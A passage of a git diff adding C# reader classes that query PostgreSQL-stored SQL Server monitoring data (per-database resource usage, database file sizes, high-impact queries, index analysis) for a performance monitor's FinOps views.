+        SUM(delta_worker_time) / 1000.0 AS cpu_time_ms,
+        SUM(delta_execution_count) AS execution_count
+    FROM v_query_stats
+    WHERE server_id = $1
+    AND   collection_time >= $2
+    AND   delta_worker_time IS NOT NULL
+    AND   {TimescaleSupport.IntervalHonestSourceFilter}
+    GROUP BY database_name
+),
+io AS (
+    SELECT
+        database_name,
+        SUM(delta_read_bytes + delta_write_bytes) / 1048576.0 AS io_total_mb
+    FROM v_file_io_stats
+    WHERE server_id = $1
+    AND   collection_time >= $2
+    AND   delta_read_bytes IS NOT NULL
+    GROUP BY database_name
+),
+combined AS (
+    SELECT
+        COALESCE(w.database_name, i.database_name) AS database_name,
+        COALESCE(w.cpu_time_ms, 0) AS cpu_time_ms,
+        COALESCE(w.execution_count, 0) AS execution_count,
+        COALESCE(i.io_total_mb, 0) AS io_total_mb
+    FROM workload w
+    FULL JOIN io i ON i.database_name = w.database_name
+),
+totals AS (
+    SELECT
+        NULLIF(SUM(cpu_time_ms), 0) AS total_cpu,
+        NULLIF(SUM(io_total_mb), 0) AS total_io
+    FROM combined
+)
+SELECT
+    c.database_name,
+    c.cpu_time_ms,
+    c.execution_count,
+    CAST(c.io_total_mb AS DECIMAL(19,2)),
+    CAST(c.cpu_time_ms * 100.0 / t.total_cpu AS DECIMAL(5,2)),
+    CAST(c.io_total_mb * 100.0 / t.total_io AS DECIMAL(5,2)),
+    CASE WHEN c.execution_count > 0 THEN CAST(c.cpu_time_ms * 1.0 / c.execution_count AS DECIMAL(19,2)) END,
+    CASE WHEN c.execution_count > 0 THEN CAST(c.io_total_mb * 1.0 / c.execution_count AS DECIMAL(19,4)) END
+FROM combined c
+CROSS JOIN totals t
+ORDER BY c.database_name";
+
+    /// <summary>Per-database resource usage for the window starting at <paramref name="cutoffUtc"/>.</summary>
+    public static async Task<List<DatabaseResourceUsage>> GetDatabaseResourceUsageAsync(
+        NpgsqlDataSource dataSource, int serverId, RollupAvailability rollups, RollupCoverage coverage, DateTime cutoffUtc,
+        int commandTimeoutSeconds, CancellationToken cancellationToken)
+    {
+        var tier = RetentionTierRouter.Resolve(
+            DateTime.UtcNow, cutoffUtc, rollups.DbGrainHourly, rollups.DbGrainDaily,
+            coverage.For(TimescaleSupport.QueryStatsDbHourlyView, TimescaleSupport.QueryStatsDbDailyView));
+
+        /* #3653 (Q12): tier over the legacy pair above; the hourly relation by the supply rule. */
+        await using var command = dataSource.CreateCommand(DatabaseResourceUsageSqlFor(tier, coverage, cutoffUtc));
+        command.CommandTimeout = commandTimeoutSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(cutoffUtc, DateTimeKind.Unspecified) });
+
+        var items = new List<DatabaseResourceUsage>();
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            items.Add(new DatabaseResourceUsage(
+                reader.IsDBNull(0) ? "" : reader.GetString(0),
+                reader.IsDBNull(1) ? 0L : Convert.ToInt64(reader.GetValue(1)),
+                reader.IsDBNull(2) ? 0L : Convert.ToInt64(reader.GetValue(2)),
+                reader.IsDBNull(3) ? 0L : Convert.ToInt64(reader.GetValue(3)),
+                reader.IsDBNull(4) ? 0L : Convert.ToInt64(reader.GetValue(4)),
+                reader.IsDBNull(5) ? 0L : Convert.ToInt64(reader.GetValue(5)),
+                reader.IsDBNull(6) ? 0m : Convert.ToDecimal(reader.GetValue(6)),
+                reader.IsDBNull(7) ? 0m : Convert.ToDecimal(reader.GetValue(7)),
+                reader.IsDBNull(8) ? 0L : Convert.ToInt64(reader.GetValue(8)),
+                reader.IsDBNull(9) ? 0m : Convert.ToDecimal(reader.GetValue(9)),
+                reader.IsDBNull(10) ? 0m : Convert.ToDecimal(reader.GetValue(10))));
+        }
+        return items;
+    }
+
+    /// <summary>
+    /// Both top-consumer grids from the one <see cref="TopResourceConsumersSql"/> round trip. Column 6
+    /// (avg_cpu_ms) is NULL exactly when execution_count = 0, which is the old ByAvg statement's
+    /// <c>HAVING SUM(delta_execution_count) > 0</c> restated as a per-row test instead of a group filter — the
+    /// same rows survive either way, since HAVING on an aggregate is equivalent to filtering the already-grouped
+    /// result on that same aggregate.
+    /// </summary>
+    public static async Task<(IReadOnlyList<TopResourceConsumer> ByTotal, IReadOnlyList<TopResourceConsumer> ByAvg)> GetTopResourceConsumersAsync(
+        NpgsqlDataSource dataSource, int serverId, RollupAvailability rollups, RollupCoverage coverage, DateTime cutoffUtc,
+        int commandTimeoutSeconds, int topN, CancellationToken cancellationToken)
+    {
+        var tier = RetentionTierRouter.Resolve(
+            DateTime.UtcNow, cutoffUtc, rollups.QueryGrainHourly, rollups.QueryGrainDaily,
+            coverage.For(TimescaleSupport.QueryStatsHourlyView, TimescaleSupport.QueryStatsDailyView));
+
+        /* #3653 (Q12): tier over the legacy pair above; the hourly relation by the supply rule. */
+        await using var command = dataSource.CreateCommand(TopResourceConsumersSqlFor(tier, coverage, cutoffUtc));
+        command.CommandTimeout = commandTimeoutSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(cutoffUtc, DateTimeKind.Unspecified) });
+
+        var totalCandidates = new List<TopResourceConsumer>();
+        var avgCandidates = new List<TopResourceConsumer>();
+
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            var dbNameIsNull = reader.IsDBNull(0);
+            var dbName = dbNameIsNull ? "" : reader.GetString(0);
+            var cpuTimeMs = reader.IsDBNull(1) ? 0L : Convert.ToInt64(reader.GetValue(1));
+            var executionCount = reader.IsDBNull(2) ? 0L : Convert.ToInt64(reader.GetValue(2));
+            var ioTotalMb = reader.IsDBNull(3) ? 0m : Convert.ToDecimal(reader.GetValue(3));
+
+            /* The ByTotal grid has always excluded an unattributed (NULL) database_name — the old
+               TopResourceConsumersByTotalSql's WHERE c.database_name IS NOT NULL. */
+            if (!dbNameIsNull)
+            {
+                totalCandidates.Add(new TopResourceConsumer(dbName, cpuTimeMs, executionCount, ioTotalMb,
+                    reader.IsDBNull(4) ? 0m : Convert.ToDecimal(reader.GetValue(4)),
+                    reader.IsDBNull(5) ? 0m : Convert.ToDecimal(reader.GetValue(5)), 0L, 0m));
+            }
+
+            /* The ByAvg grid never filtered a NULL database_name, only a zero-execution one; avg_cpu_ms is
+               NULL exactly for those, so testing it here reproduces the old HAVING. */
+            if (!reader.IsDBNull(6))
+            {
+                avgCandidates.Add(new TopResourceConsumer(dbName, Convert.ToInt64(reader.GetValue(6)), executionCount, ioTotalMb, 0m, 0m,
+                    cpuTimeMs,
+                    reader.IsDBNull(7) ? 0m : Convert.ToDecimal(reader.GetValue(7))));
+            }
+        }
+
+        /* Both grids were "ORDER BY <metric> DESC LIMIT $3" in SQL; ranking moves here so the one row set can
+           feed both orderings. OrderByDescending is a stable sort, so a tie now breaks by the shared
+           statement's ORDER BY c.database_name — deterministic, where the old per-grid statements left a
+           tie's order to whichever plan Postgres picked (never a documented contract, and cpu_time_ms /
+           avg_cpu_ms are sums of independent per-database deltas, so an exact tie is not expected in practice). */
+        var byTotal = totalCandidates.OrderByDescending(r => r.CpuTimeMs).Take(topN).ToList();
+        var byAvg = avgCandidates.OrderByDescending(r => r.CpuTimeMs).Take(topN).ToList();
+
+        return (byTotal, byAvg);
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsDatabaseSizesReader.cs b/Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsDatabaseSizesReader.cs
new file mode 100644
index 0000000000..784bba828b
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsDatabaseSizesReader.cs
@@ -0,0 +1,94 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+
+namespace PerformanceMonitor.Darling.Storage.FinOps;
+
+/// <summary>One file of the latest database-size snapshot, with the growth, recovery-model and VLF columns the
+/// desktop's Database Sizes grid shows. A null size is the Hyperscale log file (the log service); a null file id
+/// is the one row another database on an Azure SQL Database server gets.</summary>
+public sealed record DatabaseSizeFileDto(
+    DateTime CollectionTime, string DatabaseName, string FileTypeDesc, string FileName,
+    decimal? TotalSizeMb, decimal? UsedSizeMb, decimal? MaxSizeMb,
+    string? VolumeMountPoint, decimal? VolumeTotalMb, decimal? VolumeFreeMb,
+    string? RecoveryModel, decimal? AutoGrowthMb, bool? IsPercentGrowth, int? GrowthPct, int? VlfCount, int? FileId);
+
+/// <summary>The latest per-file database-size snapshot for one server: the desktop viewer's
+/// <c>DatabaseSizeLatestSql</c> columns plus <c>max_size_mb</c>, read through the same windowed snapshot probe.</summary>
+public static class DarlingFinOpsDatabaseSizesReader
+{
+    /// <summary>$1 server_id, $2 collection_time (resolved by <see cref="DarlingFinOpsStorageGrowthReader.GetLatestDatabaseSizeSnapshotAsync"/>).
+    /// Biggest files first; the trailing keys make the order total.</summary>
+    public const string LatestSql = @"
+SELECT
+    collection_time,
+    database_name,
+    file_type_desc,
+    file_name,
+    total_size_mb,
+    used_size_mb,
+    max_size_mb,
+    volume_mount_point,
+    volume_total_mb,
+    volume_free_mb,
+    recovery_model_desc,
+    auto_growth_mb,
+    is_percent_growth,
+    growth_pct,
+    vlf_count,
+    file_id
+FROM v_database_size_stats
+WHERE server_id = $1
+AND   collection_time = $2
+ORDER BY total_size_mb DESC NULLS LAST, database_name, file_type_desc, file_name, file_id";
+
+    public static async Task<List<DatabaseSizeFileDto>> GetLatestAsync(
+        NpgsqlDataSource dataSource, int serverId, int commandTimeoutSeconds, CancellationToken cancellationToken)
+    {
+        var items = new List<DatabaseSizeFileDto>();
+        var snapshotTime = await DarlingFinOpsStorageGrowthReader.GetLatestDatabaseSizeSnapshotAsync(
+            dataSource, serverId, commandTimeoutSeconds, cancellationToken);
+        if (snapshotTime is null)
+        {
+            return items;
+        }
+
+        await using var command = dataSource.CreateCommand(LatestSql);
+        command.CommandTimeout = commandTimeoutSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = snapshotTime.Value });
+
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            items.Add(new DatabaseSizeFileDto(
+                reader.GetDateTime(0),
+                reader.IsDBNull(1) ? "" : reader.GetString(1),
+                reader.IsDBNull(2) ? "" : reader.GetString(2),
+                reader.IsDBNull(3) ? "" : reader.GetString(3),
+                Dec(reader, 4), Dec(reader, 5), Dec(reader, 6),
+                reader.IsDBNull(7) ? null : reader.GetString(7),
+                Dec(reader, 8), Dec(reader, 9),
+                reader.IsDBNull(10) ? null : reader.GetString(10),
+                Dec(reader, 11),
+                reader.IsDBNull(12) ? null : reader.GetBoolean(12),
+                reader.IsDBNull(13) ? null : Convert.ToInt32(reader.GetValue(13)),
+                reader.IsDBNull(14) ? null : Convert.ToInt32(reader.GetValue(14)),
+                reader.IsDBNull(15) ? null : Convert.ToInt32(reader.GetValue(15))));
+        }
+        return items;
+    }
+
+    private static decimal? Dec(NpgsqlDataReader reader, int ordinal) =>
+        reader.IsDBNull(ordinal) ? null : Convert.ToDecimal(reader.GetValue(ordinal));
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsHighImpactReader.cs b/Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsHighImpactReader.cs
new file mode 100644
index 0000000000..c869e0c4f9
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsHighImpactReader.cs
@@ -0,0 +1,136 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+
+namespace PerformanceMonitor.Darling.Storage.FinOps;
+
+/// <summary>One high-impact query_hash aggregate over the window, scored by <see cref="HighImpactScorer"/>.</summary>
+public sealed class HighImpactQuery
+{
+    public string QueryHash { get; set; } = "";
+    public string DatabaseName { get; set; } = "";
+    public long TotalExecutions { get; set; }
+    public decimal TotalCpuMs { get; set; }
+    public decimal TotalDurationMs { get; set; }
+    public long TotalReads { get; set; }
+    public long TotalWrites { get; set; }
+    public decimal TotalMemoryMb { get; set; }
+    public decimal CpuShare { get; set; }
+    public decimal DurationShare { get; set; }
+    public decimal ReadsShare { get; set; }
+    public decimal WritesShare { get; set; }
+    public decimal MemoryShare { get; set; }
+    public decimal ExecutionsShare { get; set; }
+    public int ImpactScore { get; set; }
+    public string SampleQueryText { get; set; } = "";
+    public string FullQueryText { get; set; } = "";
+
+    /// <summary>The stored statement-level plan, text form first, else the decompressed gz form.</summary>
+    public string? QueryPlanXml { get; set; }
+}
+
+/// <summary>The FinOps high-impact read: SQL, command and mapping.</summary>
+public static class DarlingFinOpsHighImpactReader
+{
+    /// <summary>
+    /// High-impact queries — 80/20 analysis across CPU/duration/reads/writes/memory/executions. Aggregates
+    /// to query_hash level in SQL (with correlated sample-text subqueries, as Lite does), then scores in C#
+    /// via <see cref="HighImpactScorer"/>. $1 server_id, $2 cutoff.
+    /// </summary>
+    public const string HighImpactQueriesSql = $@"
+SELECT
+    query_hash,
+    MIN(database_name) AS database_name,
+    SUM(delta_execution_count) AS total_executions,
+    SUM(delta_worker_time) / 1000.0 AS total_cpu_ms,
+    SUM(delta_elapsed_time) / 1000.0 AS total_duration_ms,
+    SUM(delta_logical_reads) AS total_reads,
+    SUM(delta_logical_writes) AS total_writes,
+    SUM(COALESCE(max_grant_kb, 0)) / 1024.0 AS total_memory_mb,
+    (SELECT LEFT(qs2.query_text, 200) FROM v_query_stats qs2
+     WHERE qs2.query_hash = qs.query_hash
+     AND qs2.server_id = $1
+     AND qs2.collection_time >= $2
+     AND qs2.query_text IS NOT NULL AND qs2.query_text != ''
+     ORDER BY qs2.delta_execution_count DESC NULLS LAST
+     LIMIT 1) AS sample_query_text,
+    (SELECT qs2.query_text FROM v_query_stats qs2
+     WHERE qs2.query_hash = qs.query_hash
+     AND qs2.server_id = $1
+     AND qs2.collection_time >= $2
+     AND qs2.query_text IS NOT NULL AND qs2.query_text != ''
+     ORDER BY qs2.delta_execution_count DESC NULLS LAST
+     LIMIT 1) AS full_query_text,
+    (SELECT qs2.query_plan_xml FROM v_query_stats qs2
+     WHERE qs2.query_hash = qs.query_hash
+     AND qs2.server_id = $1
+     AND qs2.collection_time >= $2
+     AND qs2.query_plan_xml IS NOT NULL AND qs2.query_plan_xml != ''
+     ORDER BY qs2.delta_execution_count DESC NULLS LAST
+     LIMIT 1) AS query_plan_xml,
+    (SELECT qs2.query_plan_gz FROM v_query_stats qs2
+     WHERE qs2.query_hash = qs.query_hash
+     AND qs2.server_id = $1
+     AND qs2.collection_time >= $2
+     AND qs2.query_plan_gz IS NOT NULL
+     ORDER BY qs2.delta_execution_count DESC NULLS LAST
+     LIMIT 1) AS query_plan_gz
+FROM v_query_stats AS qs
+WHERE server_id = $1
+AND   collection_time >= $2
+AND   query_hash IS NOT NULL AND query_hash != ''
+AND   delta_execution_count > 0
+AND   {TimescaleSupport.IntervalHonestSourceFilter}
+GROUP BY query_hash
+HAVING SUM(delta_execution_count) > 0
+ORDER BY SUM(delta_worker_time) DESC";
+
+    /// <summary>Reads the window's query_hash aggregates for one server and returns the scored high-impact set.</summary>
+    public static async Task<List<HighImpactQuery>> ReadAsync(
+        NpgsqlDataSource dataSource, int serverId, int hoursBack, int commandTimeoutSeconds, CancellationToken cancellationToken, int topN = 10)
+    {
+        var cutoff = DateTime.UtcNow.AddHours(-hoursBack);
+
+        await using var command = dataSource.CreateCommand(HighImpactQueriesSql);
+        command.CommandTimeout = commandTimeoutSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(cutoff, DateTimeKind.Unspecified) });
+
+        var rows = new List<HighImpactQuery>();
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            rows.Add(new HighImpactQuery
+            {
+                QueryHash = reader.IsDBNull(0) ? "" : reader.GetString(0),
+                DatabaseName = reader.IsDBNull(1) ? "" : reader.GetString(1),
+                TotalExecutions = reader.IsDBNull(2) ? 0 : Convert.ToInt64(reader.GetValue(2)),
+                TotalCpuMs = reader.IsDBNull(3) ? 0m : Convert.ToDecimal(reader.GetValue(3)),
+                TotalDurationMs = reader.IsDBNull(4) ? 0m : Convert.ToDecimal(reader.GetValue(4)),
+                TotalReads = reader.IsDBNull(5) ? 0 : Convert.ToInt64(reader.GetValue(5)),
+                TotalWrites = reader.IsDBNull(6) ? 0 : Convert.ToInt64(reader.GetValue(6)),
+                TotalMemoryMb = reader.IsDBNull(7) ? 0m : Convert.ToDecimal(reader.GetValue(7)),
+                SampleQueryText = reader.IsDBNull(8) ? "" : reader.GetString(8),
+                FullQueryText = reader.IsDBNull(9) ? "" : reader.GetString(9),
+                /* #2069: the two correlated subqueries may land on DIFFERENT sample rows (one
+                   pre-V54 text row, one post-V54 gz row); either is "a sample plan for the hash",
+                   and text-first keeps the free form when both exist. */
+                QueryPlanXml = PayloadDimensions.ResolveContent(
+                    reader.IsDBNull(10) ? null : reader.GetString(10),
+                    reader.IsDBNull(11) ? null : reader.GetFieldValue<byte[]>(11))
+            });
+        }
+
+        return HighImpactScorer.Score(rows, topN);
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsIndexAnalysisReader.cs b/Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsIndexAnalysisReader.cs
new file mode 100644
index 0000000000..25066f83ef
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsIndexAnalysisReader.cs
@@ -0,0 +1,461 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Common;
+
+namespace PerformanceMonitor.Darling.Storage.FinOps;
+
+/*
+ * FinOps Index Analysis reads. The headless store cannot reach monitored targets, so the analysis runs
+ * MONITOR-SIDE: it reads the latest collected per-index snapshot from v_index_object_stats, maps each row into the
+ * Common IndexCleanupIndexInput contract, derives the server-fact options (edition -> compression/online support,
+ * start time -> uptime days) from the collected server_properties, and runs the pure Common IndexCleanupAnalyzer.
+ * Shared by the viewer and any other reader of the store. SQL kept in public const so tests pin it.
+ */
+
+/// <summary>An index analysis and, per database name (case-insensitive), the naive-UTC instant its snapshot was collected.</summary>
+public sealed record IndexAnalysisWithSnapshotTimes(IndexCleanupAnalysisResult Result, IReadOnlyDictionary<int, DateTime> SnapshotTimes);
+
+public static class DarlingFinOpsIndexAnalysisReader
+{
+    /// <summary>
+    /// Each database's newest collected snapshot of its indexes for one server: for every database the read
+    /// anchors on that database's own max(collection_time) and returns the index rows stamped at exactly that
+    /// instant, so the analyzer sees each index once. An index that is missing from its database's newest
+    /// snapshot was dropped: the collector reads every user index of each database it sweeps, so a row that
+    /// only an older cycle carries describes an index that no longer exists and is not shown. A database that
+    /// left collection scope still shows its last snapshot, and a server that stopped collecting still shows
+    /// its last cycle. The lower bound (the oldest per-database anchor) exists to keep the join on the newest
+    /// chunks instead of every retained one. DISTINCT ON still dedupes on the index identity, and two rows for
+    /// one index can share a collection_time (a re-run in the same instant), so the final ORDER BY key is
+    /// collection_id DESC: the newest-written row wins the tie deterministically. $1 server_id. Column order
+    /// is the read contract for <see cref="ReadIndexObjectStatsRow"/>; collection_time is the last column (ordinal 40).
+    /// </summary>
+    public const string IndexObjectStatsLatestSql = @"
+WITH anchor AS MATERIALIZED
+(
+    SELECT
+        database_id,
+        max(collection_time) AS t
+    FROM v_index_object_stats
+    WHERE server_id = $1
+    GROUP BY database_id
+)
+SELECT DISTINCT ON (s.database_id, s.object_id, s.index_id)
+    s.database_name,
+    s.database_id,
+    s.schema_name,
+    s.object_id,
+    s.table_name,
+    s.index_id,
+    s.index_name,
+    s.index_type_desc,
+    s.key_columns,
+    s.included_columns,
+    s.filter_definition,
+    s.is_unique,
+    s.is_unique_constraint,
+    s.is_primary_key,
+    s.is_foreign_key,
+    s.is_foreign_key_reference,
+    s.is_disabled,
+    s.is_indexed_view,
+    s.data_compression_desc,
+    s.optimize_for_sequential_key,
+    s.fill_factor,
+    s.is_padded,
+    s.allow_page_locks,
+    s.allow_row_locks,
+    s.user_seeks,
+    s.user_scans,
+    s.user_lookups,
+    s.user_updates,
+    s.reserved_mb,
+    s.total_rows,
+    s.partition_count,
+    s.sqlserver_start_time,
+    /* Operational lock/latch counters (dm_db_index_operational_stats), appended after the pre-existing
+       columns so ordinals 0-31 are unchanged. Feed the reclaimable-space rollup's workload-impact columns
+       (Lock Waits / Latch Waits), the same collected data the FinOps Locking sub-tab already reads. */
+    s.row_lock_wait_count,
+    s.row_lock_wait_in_ms,
+    s.page_lock_wait_count,
+    s.page_lock_wait_in_ms,
+    s.page_latch_wait_count,
+    s.page_latch_wait_in_ms,
+    s.page_io_latch_wait_count,
+    s.page_io_latch_wait_in_ms,
+    s.collection_time
+FROM v_index_object_stats AS s
+JOIN anchor AS a ON a.database_id = s.database_id AND a.t = s.collection_time
+WHERE s.server_id = $1
+AND   s.collection_time >= (SELECT min(t) FROM anchor)
+ORDER BY s.database_id, s.object_id, s.index_id, s.collection_time DESC, s.collection_id DESC";
+
+    /// <summary>
+    /// The server's latest edition / version / start-time facts for the analyzer options — the same three
+    /// SERVERPROPERTY-derived values sp_IndexCleanup reads at runtime, sourced from the collected
+    /// server_properties (Darling has no v_server_properties view; the base table is bare-name resolved via the
+    /// connection Search Path, exactly like the Utilization/Inventory reads). $1 server_id.
+    /// </summary>
+    public const string ServerCompressionInfoSql = @"
+SELECT
+    engine_edition,
+    product_version,
+    sqlserver_start_time
+FROM server_properties
+WHERE server_id = $1
+ORDER BY collection_time DESC, collection_id DESC
+LIMIT 1";
+
+    /// <summary>
+    /// The analysis-relevant projection of one <c>v_index_object_stats</c> row — the read-layer
+    /// shape (NOT the collector Row: the Common contract is deliberately collector-free), mapped into
+    /// <see cref="IndexCleanupIndexInput"/> by <see cref="MapToIndexInput"/>. Booleans are nullable because the
+    /// Postgres columns are; the mapper collapses a NULL flag to <c>false</c> (an absent guard is not a guard).
+    /// </summary>
+    public sealed record IndexObjectStatsDto
+    {
+        public string DatabaseName { get; init; } = "";
+        public int DatabaseId { get; init; }
+        public string SchemaName { get; init; } = "";
+        public int ObjectId { get; init; }
+        public string TableName { get; init; } = "";
+        public int IndexId { get; init; }
+        public string? IndexName { get; init; }
+        public string? IndexTypeDesc { get; init; }
+        public string? KeyColumns { get; init; }
+        public string? IncludedColumns { get; init; }
+        public string? FilterDefinition { get; init; }
+        public bool? IsUnique { get; init; }
+        public bool? IsUniqueConstraint { get; init; }
+        public bool? IsPrimaryKey { get; init; }
+        public bool? IsForeignKey { get; init; }
+        public bool? IsForeignKeyReference { get; init; }
+        public bool? IsDisabled { get; init; }
+        public bool? IsIndexedView { get; init; }
+        public string? DataCompressionDesc { get; init; }
+        public bool? OptimizeForSequentialKey { get; init; }
+        public short? FillFactor { get; init; }
+        public bool? IsPadded { get; init; }
+        public bool? AllowPageLocks { get; init; }
+        public bool? AllowRowLocks { get; init; }
+        public long? UserSeeks { get; init; }
+        public long? UserScans { get; init; }
+        public long? UserLookups { get; init; }
+        public long? UserUpdates { get; init; }
+        public decimal? ReservedMb { get; init; }
+        public long? TotalRows { get; init; }
+        public int? PartitionCount { get; init; }
+        public DateTime? SqlServerStartTime { get; init; }
+        public long? RowLockWaitCount { get; init; }
+        public long? RowLockWaitInMs { get; init; }
+        public long? PageLockWaitCount { get; init; }
+        public long? PageLockWaitInMs { get; init; }
+        public long? PageLatchWaitCount { get; init; }
+        public long? PageLatchWaitInMs { get; init; }
+        public long? PageIoLatchWaitCount { get; init; }
+        public long? PageIoLatchWaitInMs { get; init; }
+
+        /// <summary>The snapshot's own stamp, naive UTC (kind Utc): the per-database anchor the read resolved on,
+        /// projected last (ordinal 40) so every earlier ordinal is unchanged.</summary>
+        public DateTime CollectionTime { get; init; }
+    }
+
+    /// <summary>Maps a collected snapshot row into the analyzer's per-index input contract (nullable flag -&gt; false).</summary>
+    public static IndexCleanupIndexInput MapToIndexInput(IndexObjectStatsDto row) => new()
+    {
+        DatabaseName = row.DatabaseName,
+        DatabaseId = row.DatabaseId,
+        SchemaName = row.SchemaName,
+        ObjectId = row.ObjectId,
+        TableName = row.TableName,
+        IndexId = row.IndexId,
+        IndexName = row.IndexName,
+        IndexTypeDesc = row.IndexTypeDesc,
+        KeyColumns = row.KeyColumns,
+        IncludedColumns = row.IncludedColumns,
+        FilterDefinition = row.FilterDefinition,
+        IsUnique = row.IsUnique ?? false,
+        IsUniqueConstraint = row.IsUniqueConstraint ?? false,
+        IsPrimaryKey = row.IsPrimaryKey ?? false,
+        IsForeignKey = row.IsForeignKey ?? false,
+        IsForeignKeyReference = row.IsForeignKeyReference ?? false,
+        IsDisabled = row.IsDisabled ?? false,
+        IsIndexedView = row.IsIndexedView ?? false,
+        DataCompressionDesc = row.DataCompressionDesc,
+        OptimizeForSequentialKey = row.OptimizeForSequentialKey ?? false,
+        FillFactor = row.FillFactor,
+        IsPadded = row.IsPadded ?? false,
+        AllowPageLocks = row.AllowPageLocks ?? false,
+        AllowRowLocks = row.AllowRowLocks ?? false,
+        UserSeeks = row.UserSeeks ?? 0,
+        UserScans = row.UserScans ?? 0,
+        UserLookups = row.UserLookups ?? 0,
+        UserUpdates = row.UserUpdates ?? 0,
+        RowLockWaitCount = row.RowLockWaitCount ?? 0,
+        RowLockWaitInMs = row.RowLockWaitInMs ?? 0,
+        PageLockWaitCount = row.PageLockWaitCount ?? 0,
+        PageLockWaitInMs = row.PageLockWaitInMs ?? 0,
+        PageLatchWaitCount = row.PageLatchWaitCount ?? 0,
+        PageLatchWaitInMs = row.PageLatchWaitInMs ?? 0,
+        PageIoLatchWaitCount = row.PageIoLatchWaitCount ?? 0,
+        PageIoLatchWaitInMs = row.PageIoLatchWaitInMs ?? 0,
+        ReservedMb = row.ReservedMb,
+        TotalRows = row.TotalRows,
+        PartitionCount = row.PartitionCount,
+        SqlServerStartTime = row.SqlServerStartTime,
+    };
+
+    /// <summary>
+    /// Derives the analyzer options from the collected server facts, reproducing sp_IndexCleanup's runtime
+    /// gates: <c>@can_compress</c> = EngineEdition IN (3,5,8) [Enterprise / Azure SQL DB / Managed Instance] OR
+    /// (EngineEdition IN (2,4) [Standard / Express family] AND ProductVersion major &gt;= 13 [SQL 2016+]);
+    /// <c>@online</c> = EngineEdition IN (3,5,8). The size/read/write/row minimums and dedupe-only match the
+    /// proc's parameter DEFAULTS (all 0 / off) — no speculative settings knobs. Uptime days is computed from the
+    /// server-LOCAL <c>sqlserver_start_time</c> vs the viewer's local now (both wall-clock, mirroring the proc's
+    /// <c>DATEDIFF(DAY, sqlserver_start_time, SYSDATETIME())</c>); it drives the analyzer's &lt;14-day
+    /// unused caveat and &lt;=7-day auto-dedupe. When no server_properties row is collected yet, edition is
+    /// unknown: fall back to the safe defaults (compression assumed available — 2016+ is the product minimum —
+    /// and ONLINE off).
+    /// </summary>
+    public static IndexCleanupOptions DeriveIndexCleanupOptions(
+        int? engineEdition,
+        string? productVersion,
+        DateTime? sqlServerStartTime,
+        DateTime referenceLocalTime)
+    {
+        bool supportsOnline;
+        bool supportsCompression;
+
+        if (engineEdition is { } edition)
+        {
+            bool isEnterpriseOrAzure = edition is 3 or 5 or 8;
+            bool isStandardFamily = edition is 2 or 4;
+            supportsOnline = isEnterpriseOrAzure;
+            supportsCompression =
+                isEnterpriseOrAzure
+                || (isStandardFamily && ParseMajorVersion(productVersion) >= 13);
+        }
+        else
+        {
+            /* No collected properties row: assume compression is available (SQL 2016+ is the product minimum)
+               and keep ONLINE off (the safe default the generated scripts also default to). */
+            supportsOnline = false;
+            supportsCompression = true;
+        }
+
+        double? uptimeDays = null;
+        if (sqlServerStartTime is { } start)
+        {
+            var days = (referenceLocalTime - start).TotalDays;
+            if (days >= 0)
+            {
+                uptimeDays = days;
+            }
+        }
+
+        return new IndexCleanupOptions
+        {
+            DedupeOnly = false,
+            MinSizeGb = 0m,
+            MinReads = 0,
+            MinWrites = 0,
+            MinRows = 0,
+            ServerSupportsCompression = supportsCompression,
+            ServerSupportsOnline = supportsOnline,
+            ServerUptimeDays = uptimeDays,
+            /* CompressionMin/MaxSavingsFactor keep the record defaults (0.20 / 0.60 — sp_IndexCleanup's band). */
+        };
+    }
+
+    /// <summary>Parses the leading major-version integer from a ProductVersion string (e.g. "16.0.1000.6" -&gt; 16); 0 when unparseable.</summary>
+    public static int ParseMajorVersion(string? productVersion)
+    {
+        if (string.IsNullOrWhiteSpace(productVersion))
+        {
+            return 0;
+        }
+
